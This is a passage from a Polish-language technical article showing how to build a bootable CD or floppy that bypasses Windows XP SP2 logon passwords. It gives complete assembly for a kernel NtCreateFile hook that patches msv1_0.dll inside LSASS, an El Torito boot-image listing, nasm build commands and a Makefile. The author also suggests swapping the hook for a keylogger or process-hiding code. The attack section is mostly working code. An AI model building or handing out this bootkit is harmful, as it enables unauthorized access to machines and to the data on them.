jednego z obecnych w systemie sterowników. Może bez przeszkód manipulować
wrażliwymi strukturami systemowymi, ingerować w ścieżki wykonywania
konkretnych procesów itd. Nam zależy oczywiście na modyfikacji zaledwie dwóch
bajtów jednego z modułów LSASS.EXE.

Aby móc to uczynić, nasz kod musi najpierw znajdować się w kontekście danego
procesu – oznacza to, że zmiana pamięci możliwa jest jedynie w momencie, kiedy
atakowany proces wywołuje funkcję NtCreateFile, przekierowującą do
skopiowanych przez nas danych w „buforze” DOS Stub. Umieszczony tam kod
„dowiaduje się”, że jest to odpowiedni moment na przeprowadzenie ataku –
wyłącza on ochronę pamięci, zamienia interesujące nas bajty, a następnie przywraca
wcześniejszy stan rejestru CR0, zdejmuje hak z funkcji kernela i wraca do jej
wykonywania.

Jeśli taki scenariusz zadziała w praktyce, msv1_0.dll będzie zmodyfikowany już w
momencie rozpoczęcia procesu logowania, a mimo to w pamięci nie pozostanie
żaden ślad po przeprowadzonym ataku (oprócz zawartości nagłówka jądra, który
można jednak przywrócić w momencie zdejmowania hooka).

Przed zabraniem się za pisanie kluczowego i zarazem ostatniego fragmentu kodu,
odpowiedzialnego za bezpośrednie zdejmowanie zabezpieczenia hasłem należy
zastanowić się nad kilkoma ważnymi kwestiami. Po pierwsze, skąd nasz kod może
się dowiedzieć, w kontekście jakiego procesu aktualnie działa oraz, jeśli jest to
właśnie LSASS, czy moduł msv1_0.dll został wcześniej załadowany. W tym
miejscu można posłużyć się pewnymi założeniami i, zamiast wprost pobierać nazwę
aktualnego procesu, zwracać większą uwagę na samą scieżkę pliku lub urządzenia,
do którego następuje odwołanie.

background image

24

Okazuje się, że istnieje jasno określony porządek odwoływań do poszczególnych
ścieżek – istnieją również ciągi, których jako jedyny lub chociaż jako pierwszy
używa właśnie atakowany proces. W trakcie badań odkryto, że jednym z takich
ciągów jest „\??\Pipe\NETLOGON”, który otwarty zostaje już po załadowaniu
msv1_0.dll i pierwszym procesem, który do niego się odwołuje jest LSASS (w
późniejszym czasie robi to jeszcze winlogon.exe).

Opisana wyżej kolejność wygląda następująco:

lsass.exe : C:\Windows\system32\msv1_0.dll

lsass.exe : \??\Pipe\NETLOGON

winlogon.exe : \??\Pipe\NETLOGON

Jest to oczywiście jedynie ZAŁOŻENIE, które
nie musi być prawdziwe w każdej wersji
systemu Windows, gdyż nie ma żadnej
gwarancji, że taki porządek odwołań jest
jedynym poprawnym i nigdy nie ulegnie
zmianie. Zostało to jednak potwierdzone na
dużej liczbie maszyn z zainstalowanym
systemem Windows XP SP1 i SP2, więc myślę,
że można przyjąć to rozwiązanie za poprawne.

Kolejną rzeczą do przemyślenia jest sama
modyfikacja msv1_0 – interesujący nas
fragment kodu zmienia się między kolejnymi
wersjami/poprawkami systemów, trudno jest
więc trzymać się jednego, ustalonego z góry

adresu. Postanowiłem jednak uznać, że projekt
będzie w zamyśle działał na systemach Microsoft
Windows XP SP2 – zastosowałem więc stały
adres, który okazał się być poprawny dla

wszystkich

testowanych

przeze

mnie

komputerów. Stała, która definiuje wartość tego

adresu została już przedstawiona w pierwszym fragmencie kodu jako:

MSV1_0_PATCH_ADDR equ 077C699B9h

Rysunek 8. Schemat blokowy działania
hooka ntoskrnl!NtCreateFile

background image

25

Na rysunku 8 przedstawiony został schemat działania hooka obecnego w jądrze
systemu, sprawdzający opisane wyżej warunki niezbędne do podjęcia decyzji o
patchowaniu LSASS, natomiast na listingu 7 zobaczyć możemy autorską
implementację ostatniego fragmentu kodu.

NT_CREATE_FILE_HOOK_START equ $

@NtCreateFileHook:
pushfd
pushad

mov eax, [esp+030h]
mov eax, [eax+8]
cmp word [eax], 34
jnz _LeaveTheHook

mov edi, dword 0
_DosStubHookAddr equ $-4
add edi, _SearchedLsaString - NT_CREATE_FILE_HOOK_START

mov esi, [eax+4]
mov ecx, NT_CREATE_FILE_HOOK_END - _SearchedLsaString
repe cmpsb

test ecx, ecx
jnz _LeaveTheHook

push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax

mov word [MSV1_0_PATCH_ADDR], 9090h

push eax
mov eax, CR0
or eax, 10000h
mov CR0, eax
pop eax

mov eax, 0xC0DEC0DE
_NtCreateFileSyscallAddrFirst equ $-4
mov dword [eax], 08B55FF8Bh
mov byte [eax+4], 0ECh

_LeaveTheHook:
popad
popf

background image

26

push ebp
mov ebp, esp

push dword 0xDEADBEEF
_NtCreateFileSyscallAddrSecond equ $-4

add dword [esp], 5
ret

_SearchedLsaString db
'\',0,'?',0,'?',0,'\',0,'P',0,'I',0,'P',0,'E',0,'\',0,'N',0,'E',0,'T',0
,'L',0,'O',0,'G',0,'O',0,'N',0,0,0
NT_CREATE_FILE_HOOK_END equ $

Listing 7. Kod finalnego hooka, znajdujący się w jednym z nagłówków pliku
wykonywalnego NTOSKRNL.EXE


Samym sercem powyższego kodu jest jedna, jedyna instrukcja wstawiająca wartość
9090h w miejsce skoku warunkowego, od którego zależy możliwość zalogowania
się na dowolne konto obecne w systemie. Jeśli jedynym zabezpieczeniem systemu
jest hasło ustawione na każdym z lokalnych kont (najczęściej spotykana sytuacja),
nic nie stanowi już problemu by uzyskać dostęp do danych dostępnych jedynie dla
najbardziej uprzywilejowanych użytkowników, pozostawiając przy tym jedynie
minimalną ilość śladów działalności.

Aby uczynić nasz kod jeszcze bardziej elastycznym, można w miejsce użycia
stałego adresu modyfikacji msv1_0 dodać funkcję odpowiedzialną za wyszukiwanie
odpowiedniej sygnatury w atakowanym module, co prawdopodobnie dodatkowo
uodporniłoby projekt na zmiany wynikające z kolejnych poprawek/Service Packów
wydawanych przez Microsoft, jednak już w tym momencie działa on na
zdecydowanej większości systemów Windows XP.

Jak wcześniej wspomniano, fragment kodu odpowiedzialny za hookowanie jednej z
funkcji kernela zastąpić można znacznie groźniejszym, przykładowo instalującym w
jądrze „moduł” odpowiedzialny za przechwytywanie naciśniętych klawiszy,
ukrywanie dowolnych procesów, połączeń sieciowych itp. Jedynym ograniczeniem
jest tutaj wyobraźnia kodera korzystającego z dobrodziejstw tworzenia
bootowalnych nośników – należy więc mieć się na baczności i pamiętać, że lokalne
hasło systemowe nie zabezpiecza nas w pełni nawet przed włamywaczami
o wiedzy średniego poziomu, którzy wkładając odpowiednią płytę w momencie
uruchamiania maszyny mogą dobrać się do danych, które uważamy za świetnie
chronione.

background image

27

5. Przenoszenie kodu na CD-ROM

Po skompilowaniu całości przedstawionego wcześniej kodu do postaci binarnej,
przy pomocy asemblera nasm 2.04:

20:18:39 Vexillium> nasm -v
NASM version 2.04 compiled on Sep 25 2008

20:18:41 Vexillium> nasm core.asm -O3 –o core.bin

20:18:42 Vexillium>

Otrzymujemy plik core.bin o rozmiarze 512 bajtów, czyli dokładnie jednego
sektora, który w przypadku zwyczajnej dyskietki 1.44MB powinien zostać
umieszczony na samym jej początku. Aby otrzymać poprawny plik obrazu FDD,
wystarczy posłużyć się następującym kodem:

start:

incbin "core.bin"
times ((1440 * 1024)-($-start)) db 0

który dołącza utworzony wcześniej plik binarny, a następnie resztę obrazu wypełnia
zerami. Po nagraniu takiego obrazu bezpośrednio na dyskietkę (np. przy pomocy
programu rawrite) jest ona od razu gotowa do użycia – jak widać, nie ma więc
większych problemów z dodatkowymi utrudnieniami w postaci formatu danych
zapisanych na nośniku itd.

Problem taki występuje jednak w przypadku znacznie szerzej stosowanych dziś płyt
CD-ROM (tudzież DVD), które muszą już opatrzone być odpowiednimi strukturami
opisującymi charakterystyczne cechy jak właśnie bootowalność dysku. Dokładny
opis formatu znaleźć można w dokumencie [14], będącym specyfikacją formatu
El-Torito, który definiuje format bootowalnych płyt CD.

Poniżej przedstawiony został oryginalny kod, który po skompilowaniu tworzy
prawidłowy, gotowy do nagrania obraz płyty CD-ROM. Jest on opatrzony
angielskimi komentarzami, lecz nie powinno stanowić to większego problemu –
większość z nich to po nazwy pól znalezione we wspomnianej wyżej specyfikacji.



background image

28

CD_SECTOR_SIZE equ 800h
NUMBER_OF_SECTORS equ 20

times 16*CD_SECTOR_SIZE db 0 ; 15 empty sectors

; 16th CD sector - PRIMARY VOLUME DESCRIPTOR
db 1,'CD001',1 ; kind of signature?
db 0
times 32 db 0 ; system identifier
times 32 db 0 ; volume identifier
times 8 db 0
db NUMBER_OF_SECTORS,0,0,0,0,0,0,NUMBER_OF_SECTORS ; number of sectors
in both little and big endian
times 32 db 0 ; zeroes
db 1,0,0,1 ; '1' words in both endians
db 1,0,0,1 ; same as above
db 0,8,8,0 ; sector size (2048) in both endians
times 2 dd 0 ; path table length in bytes, as a both
endian double word
times 4 dd 0 ; something

; root directory record (34 bytes)
db 34 ; size of the record
db 0
times 2*8 db 0
times 7 db 0
db 2 ; some flag (it is directory)
db 0
db 0
db 1,0,0,1 ; 1 in both endians
db 1 ; some length
db 0 ; the identifier itself

times 4*128 db 0 ; some stupid identifiers (what the hell
is it for?)
times 3*37 db 0 ; another identifiers
times 4*17 db 0 ; some dates...
db 1,0
times 512 db 0 ; reserved for application use
times 653 db 0 ; zeros


; 17th CD sector - The Boot Record Volume Descriptor
db 0 ; boot record indicator
db 'CD001' ; ISO-9660 identifier
db 1 ; version of descriptor
db 'EL TORITO SPECIFICATION' ; boot system identifier
times 41 db 0 ; padding
db 18

; number of first sector in the Boot

Catalog
times 1976 db 0 ; align

background image

29

; 18th CD sector - Validation entry
db 1 ; header ID
db 0 ; platform ID - 0 means 80x86
dw 0 ; reserved
db 'j00ru//vx Logon hack',0,0,0,0 ; ID string
dw 2108h ; check...
dw 0AA55h ; ...sum ;D

; Initial entry
db 088h ; boot indicator - Bootable
db 2 ; emulating 1.44mb diskette
dw 0 ; load segment (default 0x7C0)
db 0 ; system type
db 0 ; unused
dw 1 ; load 1 sector to 0x7C00
dd 19 ; number of sector with our bootable code
times 19 db 0 ; some zeros
times 1985 db 0 ; align


; 19th CD sector - our bootable code
BOOTABLE_CODE_BEGIN:
incbin "mbr.bin"
times 2048 - ($-BOOTABLE_CODE_BEGIN) db 0

Listing 8. Format bootowalnej płyty CD w formie „kodu” assemblera



Opisy kolejnych fragmentów kodu zostały wypunktowane:

Zdefiniowanie podstawowych wartości używanych w strukturach i

wyzerowanie pierwszych 15 sektorów płyty – każdy z nich wielkości 800h
(2048d) bajtów

Primary Volume Descriptor – zawsze 16 sektor nośnika, zawiera podstawowe

informacje opisujące płytę

Boot Record Volume Descriptor – zawsze 17 sektor nośnika, najważniejszą

wartością którą definiuje jest miejsce w którym znajduje się tzw. katalog
bootowania (w naszym przypadku jest to następny, 18 sektor)

Validation & Initial Entry – standardowe wpisy w katalogu bootowania,

pierwszy odpowiedzialny za potwierdzenie, że katalog ten jest poprawny (a
także zawierający identyfikator oraz sumę kontrolną), natomiast drugi
przekazujący bezpośrednio informacje o sektorze, w którym znaleźć można
kod domyślnie ładowany przez BIOS w momencie włączania komputera

Dołączenie pliku binarnego z gotowym kodem – ostatni, 19 sektor

background image

30

6. E

fekt końcowy


Po skompilowaniu przedstawionych wyżej plików core.asm, floppy.asm oraz
cdrom.asm, rezultatem uruchomienia wirtualnej maszyny autorstwa Microsoftu z
dołączonym plikiem .iso oraz bez niego można podziwiać na zamieszczonych
poniżej zrzutach ekranu. Listing 9 przedstawia z kolei plik Makefile, który znacząco
ułatwia wielokrotną rekompilację kodu w przypadku własnych eksperymentów z
hakowaniem systemów operacyjnych przy użyciu bootowalnych nośników danych.




Rysunek 9. Wirtualna maszyna uruchomiona bez dodatkowych nośników – prośba o hasło

background image

31

OUT

= cdrom.iso floppy.img

CFLAGS

= -O3

NASM

= nasm.exe

NONUSED

=


cdrom.iso: cdrom.asm core.bin floppy.img

$(NASM) $(CFLAGS) cdrom.asm -o cdrom.iso


floppy.img: floppy.asm core.bin

$(NASM) $(CFLAGS) floppy.asm -o floppy.img


core.bin: core.asm

$(NASM) $(CFLAGS) core.asm -o core.bin


clean:

del $(OUT)


Listing 9. Plik Makefile projektu

Rysunek 10. Wirtualna maszyna zbootowana z utworzonego przez nas obrazu płyty CD-ROM – logowanie
bez podawania hasła

background image

32

7. Literatura

1.

http://en.wikipedia.org/wiki/Real_mode

2.

http://en.wikipedia.org/wiki/Protected_mode

3.

http://en.wikipedia.org/wiki/Interrupt_descriptor_table

4.

http://en.wikipedia.org/wiki/BIOS

5.

http://en.wikipedia.org/wiki/Mbr

6.

http://en.wikipedia.org/wiki/Volume_Boot_Record

7.

http://en.wikipedia.org/wiki/Ntldr

8.

http://en.wikipedia.org/wiki/Windows_NT_Startup_Process

9.

http://en.wikipedia.org/wiki/LSASS

10.

http://www.eeye.com/html/resources/newsletters/vice/VI20051104.html


Opis działania projektów SysRq oraz SysRq2 stworzonych przez zespół eEye
Research

11.

http://research.eeye.com/html/tools/RT20060801-7.html


BootRoot – projekt przedstawiony na konferencji BlackHat 2005, instalowanie
sieciowego backdoora z użyciem bootowania

12.

http://research.eeye.com/html/tools/RT20060801-8.html

Obraz płyty SysRq2, gotowy do wypalenia i przetestowania

13.

http://en.wikipedia.org/wiki/ISO_9660

Opis specyfikacji systemu plików płyt CD

14.

http://en.wikipedia.org/wiki/El_torito

background image

33

Opis rozszerzenia ISO 9660, dotyczącego bootowalności płyt CD.

15.

http://www.phoenix.com/NR/rdonlyres/98D3219C-9CC9-4DF5-B496-
A286D893E36A/0/specscdrom.pdf

Specyfikacja El Torito

16.

http://forum.osdev.org/viewtopic.php?f=2&t=17546

Wątek założony przez autora interfejsu graficznego debuggera dostępnego w
emulatorze Bochs, który okazał się bardzo przydatny w pracy z bootowalnymi
nośnikami


Wyszukiwarka

Podobne podstrony:
Przewodnik zabezpieczen systemu Windows 7 SP1 SCP
Zmiana Hasła bez logowania do systemu windows 7,8,8 1
Dyskietki startowe systemu Windows XP
abc systemu windows xp 47IMHOQVXQT6FS4YTZINP4N56IQACSUBZSUF7ZI
Autoodtwarzanie w systemie Windows XP
Sztuczki w rejestrze systemu Windows
Typy i Fazy Instalacji Systemu Windows, Informatyka, Instalacja Systemu
Instalacja systemu Windows z pendrive'a szybko i wygodnie
Monitorowanie oraz identyfikacja zmian w strukturze plików systemu Windows
Cwiczenie 01 Instalowanie systemu Windows 2003
Po reinstalacji systemu Windows Nieznany
Rozwiązywanie problemów z uruchamianiem systemu Windows za pomocą konsoli odzyskiwania, windows XP i
PHP Programowanie w systemie Windows Vademecum profesjonalisty
Informacje o systemie (Windows 7 i Windows Vista)
Błędy systemu Windows XP
Instalowanie Sprzętu W Systemie Windows, Systemy operacyjne
Procesy uruchamiane w systemach Windows
Diagnostyka i aktualizacja systemu windows

więcej podobnych podstron